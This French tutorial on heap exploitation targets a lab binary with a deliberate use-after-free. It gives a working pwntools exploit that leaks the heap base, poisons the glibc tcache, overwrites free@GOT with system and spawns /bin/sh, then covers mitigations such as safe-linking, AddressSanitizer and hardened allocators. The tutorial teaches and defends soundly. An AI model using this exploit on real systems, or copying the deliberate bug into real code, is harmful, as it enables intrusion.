Exploitation du tas : tcache et use-after-free
Les métadonnées du tas sont la primitive d'écriture. Un use-after-free empoisonne le tcache de la glibc pour allouer un chunk à une adresse choisie.
Ceci est le sixième tutoriel de l'espace Techniques d'exploitation, et le premier sur le tas. Les techniques de pile vues jusqu'ici écrasaient une adresse de retour ou une entrée GOT. L'exploitation du tas a une saveur différente : la primitive d'écriture provient de la corruption des métadonnées de l'allocateur lui-même, si bien que les classes de bugs (use-after-free, double free, débordement de tas) sont indissociables du fonctionnement de l'allocateur.
Le contexte conceptuel se trouve dans corruption du tas et use-after-free. Ici, nous en exploitons un dans le labo. Comme toujours : votre propre binaire, une VM jetable. Voir les règles du labo.
L'exploitation du tas est spécifique à la version de la glibc. Ce tutoriel cible une glibc avec tcache (2.26+) et signale les endroits où le safe-linking de la 2.32 change les choses. Vérifiez la vôtre avec
ldd --versionet adaptez ; les concepts se transfèrent, les octets exacts non.
Comment le tcache sert les allocations
Depuis la glibc 2.26, les petits chunks passés à free() vont dans le tcache : un tableau par thread de listes chaînées simples, une par classe de taille. La liste est enfilée à travers les chunks libérés eux-mêmes — un chunk libéré stocke le pointeur vers le prochain chunk libre (fd) dans son propre corps, là où se trouvaient les données utilisateur.
tcache[size]tête de listechunk Ale fd dans le corps de A pointe vers Bchunk Ble fd pointe plus loinNULLfin de la listemalloc(size) retourne le chunk A et positionne la tête de liste sur A->fd (= B).
La conséquence : celui qui contrôle le fd d'un chunk libéré contrôle l'endroit où atterrit le malloc suivant-mais-un. C'est tout l'enjeu.
La cible
Un petit allocateur à menu avec un use-after-free classique : free() n'efface pas le pointeur, et le programme vous laisse écrire dans un chunk libéré.
/* vuln.c — une démo de tas à menu avec un use-after-free. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *slots[8];
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
for (;;) {
int op, i;
if (scanf("%d %d", &op, &i) != 2 || i < 0 || i >= 8) return 0;
if (op == 1) slots[i] = malloc(0x30); /* alloc */
else if (op == 2) free(slots[i]); /* free — pas d'effacement (UAF) */
else if (op == 3) read(0, slots[i], 0x30); /* écriture, même si libéré */
else if (op == 4) { fwrite(slots[i], 1, 0x30, stdout); } /* relecture */
}
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
Le bug est que op == 3 et op == 4 déréférencent toujours slots[i] après sa libération — un use-after-free d'école.
Étape 1 — fuiter une adresse du tas (safe-linking)
Sur la glibc 2.32+, le fd stocké n'est pas un pointeur brut mais pointeur XOR (adresse_chunk >> 12) — le safe-linking. Pour forger un fd valide, il faut connaître la base du tas. Une lecture UAF du fd d'un chunk libéré la fuite :
from pwn import *
context.binary = ELF("./vuln")
io = process("./vuln")
def alloc(i): io.sendline(b"1 %d" % i)
def free(i): io.sendline(b"2 %d" % i)
def write(i, data): io.sendline(b"3 %d" % i); io.send(data)
def read_back(i): io.sendline(b"4 %d" % i); return io.recv(0x30)
alloc(0); free(0)
raw = u64(read_back(0)[:8]) # le fd (safe-linked) du seul chunk libéré
# Pour le premier free d'une classe de taille, fd vaut 0, donc la fuite = 0 XOR (heap>>12) = heap>>12
heap_base = raw << 12
log.success("heap base: %#x", heap_base)
Sur une glibc antérieure à la 2.32, il n'y a pas de safe-linking : le
fdest un pointeur brut et cette étape est inutile. Passez directement à l'empoisonnement avec des adresses en clair.
Étape 2 — empoisonner le tcache
Libérez deux chunks pour donner de la profondeur à la liste, puis utilisez l'écriture UAF pour écraser le fd d'un chunk libéré avec notre cible (safe-linked si nécessaire). Deux allocations plus tard, malloc nous rend un chunk à l'adresse cible.
def protect(ptr, addr): # transformation safe-linking de la glibc 2.32+
return ptr ^ (addr >> 12)
target = context.binary.got["free"] # là où l'on veut que malloc place un chunk
alloc(1); alloc(2)
free(2); free(1) # tcache : 1 -> 2
# écrase le fd du chunk 1 pour pointer la liste vers `target`
write(1, p64(protect(target, heap_base_of_chunk1)))
alloc(3) # retourne le chunk 1
alloc(4) # retourne un chunk À `target`
write(4, p64(context.binary.plt["system"])) # écrit sur free@got
Maintenant free(x) appelle system(x). Envoyez /bin/sh comme contenu d'un chunk et libérez-le :
alloc(5); write(5, b"/bin/sh\x00")
free(5) # free@got pointe maintenant sur system → system("/bin/sh")
io.interactive()
La cible exacte et le déclencheur final varient selon la glibc : avant la 2.34, vous pourriez écraser __free_hook directement ; les versions ultérieures privilégient une entrée GOT, _IO_2_1_stdout_ (FSOP) ou un gestionnaire exit. C'est la primitive — contrôler un fd, obtenir une allocation à une adresse choisie — qui se généralise.
Réactiver les mitigations
Les défenses du tas relèvent moins d'un drapeau de compilation que de l'allocateur et de l'outillage.
Safe-linking et clé de double free (déjà dans les glibc modernes)
- Clé du tcache (glibc 2.29+) : chaque chunk libéré stocke une clé ; le libérer à nouveau est détecté —
free(): double free detected in tcache 2— ce qui neutralise l'empoisonnement naïf par double free. - Safe-linking (glibc 2.32+) : le
fdest XORé avecchunk_addr >> 12, si bien qu'en forger un nécessite une fuite du tas (Étape 1). L'alignement du pointeur décodé est aussi vérifié. Ces mesures ne suppriment pas le bug, mais exigent davantage de l'attaquant.
AddressSanitizer le trouve avant la mise en production
gcc -fsanitize=address -g -o vuln_asan vuln.c
Exécuter la même interaction sous ASan signale le use-after-free précisément, au moment de l'accès pendant :
==...==ERROR: AddressSanitizer: heap-use-after-free on address 0x...
READ of size ... freed by thread T0 here: ... in free
previously allocated here: ... in malloc
C'est là qu'un UAF du tas devrait mourir — dans la CI, pas en production. Associez ASan au fuzzing guidé par la couverture pour atteindre les chemins qui le déclenchent.
Allocateurs durcis
Des allocateurs comme hardened_malloc et Scudo (Android/LLVM) ajoutent des pages de garde, un placement aléatoire et des contrôles d'intégrité des métadonnées plus stricts, rendant l'empoisonnement de type tcache bien plus difficile que sur une glibc standard.
| Défense | Ce qu'elle fait à cet exploit |
|---|---|
| Clé de double free du tcache (2.29+) | Bloque le double free naïf dans la même liste |
| Safe-linking (2.32+) | Forger un fd nécessite désormais une fuite du tas |
| AddressSanitizer | Attrape l'UAF à l'accès pendant, en test |
| Allocateur durci (hardened_malloc/Scudo) | Pages de garde + contrôles d'intégrité battent l'empoisonnement des métadonnées |
| Langage sûr pour la mémoire | Supprime entièrement la classe de bugs — voir langages sûrs pour la mémoire |
Ce que cela enseigne à un défenseur
- Les métadonnées sont la surface d'attaque. On ne peut pas raisonner sur la gravité d'un bug du tas sans connaître l'allocateur. Le même UAF est un crash sur un allocateur durci et un shell sur une glibc standard.
- La version compte énormément. « On est sur une glibc récente » relève réellement le niveau (safe-linking, clé du tcache, hooks supprimés). Maintenir la plateforme à jour est ici une vraie mitigation, pas seulement de l'hygiène.
- ASan + fuzzing est la réponse, pas un drapeau sur le binaire livré. ASan est un outil de détection pour la CI ; on ne le livre pas. La défense livrée, c'est de corriger le bug de durée de vie et, quand c'est possible, un allocateur durci et un langage sûr pour la mémoire.
Points clés à retenir
- Le tcache enfile sa liste de chunks libres à travers les chunks libérés ; contrôler le
fdd'un chunk libéré contrôle l'endroit où atterrit lemallocsuivant-mais-un. - Une écriture use-after-free forge ce
fd, donnant une allocation à une adresse choisie — une primitive d'écriture visant la GOT, un hook ou une structure de fichier. - La clé du tcache et le safe-linking de la glibc rendent le double free et la forge de pointeurs plus difficiles, et forcent une fuite du tas sur la 2.32+.
- Les défenses durables sont AddressSanitizer dans la CI, les allocateurs durcis et les langages sûrs pour la mémoire — les drapeaux seuls ne corrigent pas les bugs de durée de vie.
Ceci clôt l'arc actuel de la série Techniques d'exploitation : ret2win → ROP → ret2libc → chaînes de format → écrasement de la GOT → le tas. Chaque technique s'est terminée sur la mitigation qui l'arrête — ce qui, lu d'ensemble, constitue une checklist pour le défenseur.